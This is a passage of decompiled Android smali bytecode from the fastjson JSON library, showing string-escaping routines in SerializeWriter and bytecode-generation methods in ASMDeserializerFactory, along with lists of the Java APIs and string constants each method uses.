                                                772add-int/lit8 v7, v10, 0x1
                                                774sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                775ushr-int/lit8 v12, v4, 0xc
                                                776and-int/lit8 v12, v12, 0xf
                                                777aget-char v11, v11, v12
                                                778aput-char v11, v6, v10
                                                780iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                781add-int/lit8 v10, v7, 0x1
                                                783sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                784ushr-int/lit8 v12, v4, 0x8
                                                785and-int/lit8 v12, v12, 0xf
                                                786aget-char v11, v11, v12
                                                787aput-char v11, v6, v7
                                                789iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                790add-int/lit8 v7, v10, 0x1
                                                792sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                793ushr-int/lit8 v12, v4, 0x4
                                                794and-int/lit8 v12, v12, 0xf
                                                795aget-char v11, v11, v12
                                                796aput-char v11, v6, v10
                                                798iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                799add-int/lit8 v10, v7, 0x1
                                                801sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                802and-int/lit8 v4, v4, 0xf
                                                803aget-char v4, v11, v4
                                                804aput-char v4, v6, v7
                                                805goto/16 :goto_54b
                                                806cond_4fd:
                                                807iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                808add-int/lit8 v10, v7, 0x1
                                                810sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->replaceChars:[C
                                                811aget-char v4, v11, v4
                                                812aput-char v4, v6, v7
                                                813goto/16 :goto_54b
                                                814cond_508: const/4 v8, 0x4
                                                815const/16 v6, 0x2028
                                                816if-ne v4, v6, :cond_54d
                                                818iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                819add-int/lit8 v7, v11, 0x1
                                                820aput-char v13, v6, v11
                                                821add-int/lit8 v10, v7, 0x1
                                                822aput-char v9, v6, v7
                                                823add-int/lit8 v7, v10, 0x1
                                                825sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                826ushr-int/lit8 v12, v4, 0xc
                                                827and-int/lit8 v12, v12, 0xf
                                                828aget-char v11, v11, v12
                                                829aput-char v11, v6, v10
                                                831iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                832add-int/lit8 v10, v7, 0x1
                                                834sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                835ushr-int/lit8 v12, v4, 0x8
                                                836and-int/lit8 v12, v12, 0xf
                                                837aget-char v11, v11, v12
                                                838aput-char v11, v6, v7
                                                840iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                841add-int/lit8 v7, v10, 0x1
                                                843sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                844ushr-int/lit8 v12, v4, 0x4
                                                845and-int/lit8 v12, v12, 0xf
                                                846aget-char v11, v11, v12
                                                847aput-char v11, v6, v10
                                                849iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                850add-int/lit8 v10, v7, 0x1
                                                852sget-object v11, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                853and-int/lit8 v4, v4, 0xf
                                                854aget-char v4, v11, v4
                                                855aput-char v4, v6, v7
                                                856goto_54b: move v11, v10
                                                857goto/16 :goto_554
                                                858cond_54d:
                                                859iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                860add-int/lit8 v7, v11, 0x1
                                                861aput-char v4, v6, v11
                                                862move v11, v7
                                                863goto_554: add-int/lit8 v3, v3, 0x1
                                                864goto/16 :goto_490
                                                865cond_558: if-eqz v2, :cond_568
                                                867iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                868iget v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                869add-int/lit8 v4, v3, -0x2
                                                870const/16 v5, 0x22
                                                871aput-char v5, v1, v4
                                                872sub-int/2addr v3, v15
                                                873aput-char v2, v1, v3
                                                874goto/16 :goto_571
                                                875cond_568: const/16 v5, 0x22
                                                877iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                878iget v2, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                879sub-int/2addr v2, v15
                                                880aput-char v5, v1, v2
                                                881goto_571: return-void
                                                Cross References
                                                APIs
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.reflect.Method.getName
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Void.TYPE:Ljava/lang/Class
                                                • java.lang.Object.equals
                                                • java.lang.reflect.Field.getName
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isEnum
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • instance
                                                • _asm
                                                Position Instruction Meta Information
                                                1iget-object v0, p3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                3iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                5sget-object v2, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                6const/16 v3, 0x15
                                                8const-string v4, "instance"
                                                10const-string v5, "_asm"
                                                11const/16 v6, 0x19
                                                12if-ne v0, v2, :cond_34
                                                14invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                15move-result v0
                                                17invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                18new-instance v0, Ljava/lang/StringBuilder;
                                                20invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                22iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                26invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                29move-result-object v0
                                                31invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                32move-result v0
                                                34invoke-interface {p2, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                36invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                37goto/16 :goto_1f7
                                                38cond_34:
                                                39sget-object v2, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                40if-eq v0, v2, :cond_1d5
                                                42sget-object v2, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                43if-eq v0, v2, :cond_1d5
                                                45sget-object v2, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                46if-eq v0, v2, :cond_1d5
                                                48sget-object v2, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                49if-ne v0, v2, :cond_46
                                                50goto/16 :goto_1d5
                                                51cond_46:
                                                52sget-object v2, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                53const/4 v3, 0x2
                                                54if-ne v0, v2, :cond_b7
                                                56invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                57move-result v0
                                                59invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                60const/16 v0, 0x16
                                                61new-instance v1, Ljava/lang/StringBuilder;
                                                63invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                65iget-object v2, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                67invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                69invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                71invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                72move-result-object v1
                                                74invoke-virtual {p1, v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                75move-result v1
                                                77invoke-interface {p2, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                79iget-object v0, p3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                80if-eqz v0, :cond_9e
                                                81const/16 v0, 0xb6
                                                83invoke-virtual {p1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->getInstClass()Ljava/lang/Class;
                                                84move-result-object p1
                                                86invoke-static {p1}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                87move-result-object p1
                                                89iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                91invoke-virtual {v1}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                92move-result-object v1
                                                94iget-object v2, p3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                96invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/reflect/Method;)Ljava/lang/String;
                                                97move-result-object v2
                                                99invoke-interface {p2, v0, p1, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                101iget-object p1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                103invoke-virtual {p1}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                104move-result-object p1
                                                106sget-object p3, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                                                108invoke-virtual {p1, p3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                109move-result p1
                                                110if-nez p1, :cond_1f7
                                                111const/16 p1, 0x57
                                                113invoke-interface {p2, p1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                114goto/16 :goto_1f7
                                                115cond_9e: const/16 p1, 0xb5
                                                117iget-object v0, p3, Lcom/alibaba/fastjson/util/FieldInfo;->declaringClass:Ljava/lang/Class;
                                                119invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                120move-result-object v0
                                                122iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->field:Ljava/lang/reflect/Field;
                                                124invoke-virtual {v1}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                                                125move-result-object v1
                                                127iget-object p3, p3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                129invoke-static {p3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                130move-result-object p3
                                                132invoke-interface {p2, p1, v0, v1, p3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                133goto/16 :goto_1f7
                                                134cond_b7:
                                                135sget-object v2, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                136if-ne v0, v2, :cond_e1
                                                138invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                139move-result v0
                                                141invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                142const/16 v0, 0x17
                                                143new-instance v1, Ljava/lang/StringBuilder;
                                                145invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                147iget-object v2, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                149invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                151invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                153invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                154move-result-object v1
                                                156invoke-virtual {p1, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                157move-result v1
                                                159invoke-interface {p2, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                161invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                162goto/16 :goto_1f7
                                                163cond_e1:
                                                164sget-object v2, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                165if-ne v0, v2, :cond_10b
                                                167invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                168move-result v0
                                                170invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                171const/16 v0, 0x18
                                                172new-instance v1, Ljava/lang/StringBuilder;
                                                174invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                176iget-object v2, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                178invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                180invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                182invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                183move-result-object v1
                                                185invoke-virtual {p1, v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                186move-result v1
                                                188invoke-interface {p2, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                190invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                191goto/16 :goto_1f7
                                                192cond_10b: const-class v2, Ljava/lang/String;
                                                193if-ne v0, v2, :cond_133
                                                195invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                196move-result v0
                                                198invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                199new-instance v0, Ljava/lang/StringBuilder;
                                                201invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                203iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                205invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                207invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                209invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                210move-result-object v0
                                                212invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                213move-result v0
                                                215invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                217invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                218goto/16 :goto_1f7
                                                219cond_133:
                                                220invoke-virtual {v0}, Ljava/lang/Class;->isEnum()Z
                                                221move-result v2
                                                222if-eqz v2, :cond_15d
                                                224invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                225move-result v0
                                                227invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                228new-instance v0, Ljava/lang/StringBuilder;
                                                230invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                232iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                234invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                236invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                238invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                239move-result-object v0
                                                241invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                242move-result v0
                                                244invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                246invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                247goto/16 :goto_1f7
                                                248cond_15d: const-class v2, Ljava/util/Collection;
                                                250invoke-virtual {v2, v0}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                251move-result v2
                                                252if-eqz v2, :cond_1b2
                                                254invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                255move-result v2
                                                257invoke-interface {p2, v6, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                259invoke-static {v1}, Lcom/alibaba/fastjson/util/TypeUtils;->getCollectionItemClass(Ljava/lang/reflect/Type;)Ljava/lang/Class;
                                                260move-result-object v1
                                                261const-class v2, Ljava/lang/String;
                                                262if-ne v1, v2, :cond_196
                                                263new-instance v1, Ljava/lang/StringBuilder;
                                                265invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                267iget-object v2, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                269invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                271invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                273invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                274move-result-object v1
                                                276invoke-virtual {p1, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                277move-result v1
                                                279invoke-interface {p2, v6, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                280const/16 v1, 0xc0
                                                282invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                283move-result-object v0
                                                285invoke-interface {p2, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                286goto/16 :goto_1ae
                                                287cond_196: new-instance v0, Ljava/lang/StringBuilder;
                                                289invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                291iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                293invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                295invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                297invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                298move-result-object v0
                                                300invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                301move-result v0
                                                303invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                304goto_1ae:
                                                305invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                306goto/16 :goto_1f7
                                                307cond_1b2:
                                                308invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                309move-result v0
                                                311invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                312new-instance v0, Ljava/lang/StringBuilder;
                                                314invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                316iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                318invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                320invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                322invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                323move-result-object v0
                                                325invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                326move-result v0
                                                328invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                330invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                331goto/16 :goto_1f7
                                                332cond_1d5:
                                                333invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                334move-result v0
                                                336invoke-interface {p2, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                337new-instance v0, Ljava/lang/StringBuilder;
                                                339invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                341iget-object v1, p3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                343invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                345invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                347invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                348move-result-object v0
                                                350invoke-virtual {p1, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                351move-result v0
                                                353invoke-interface {p2, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                355invoke-direct {p0, p1, p2, p3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_set(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                356cond_1f7: return-void
                                                Cross References
                                                APIs
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isPrimitive
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • [C
                                                • _asm_prefix__
                                                • _asm_list_item_deser__
                                                • _asm_deser__
                                                • (
                                                • )V
                                                • <init>
                                                • \"
                                                • \":
                                                • java/lang/String
                                                • toCharArray
                                                • ()[C
                                                Position Instruction Meta Information
                                                0move-object v1, p1
                                                2invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                3move-result-object v0
                                                4array-length v0, v0
                                                5const/4 v7, 0x0
                                                6const/4 v2, 0x0
                                                7goto_8:
                                                8const-string v8, "[C"
                                                10const-string v9, "_asm_prefix__"
                                                11const/4 v10, 0x1
                                                12if-ge v2, v0, :cond_31
                                                14invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                15move-result-object v3
                                                16aget-object v3, v3, v2
                                                17new-instance v4, Lcom/alibaba/fastjson/asm/FieldWriter;
                                                18new-instance v5, Ljava/lang/StringBuilder;
                                                20invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                22iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                24invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
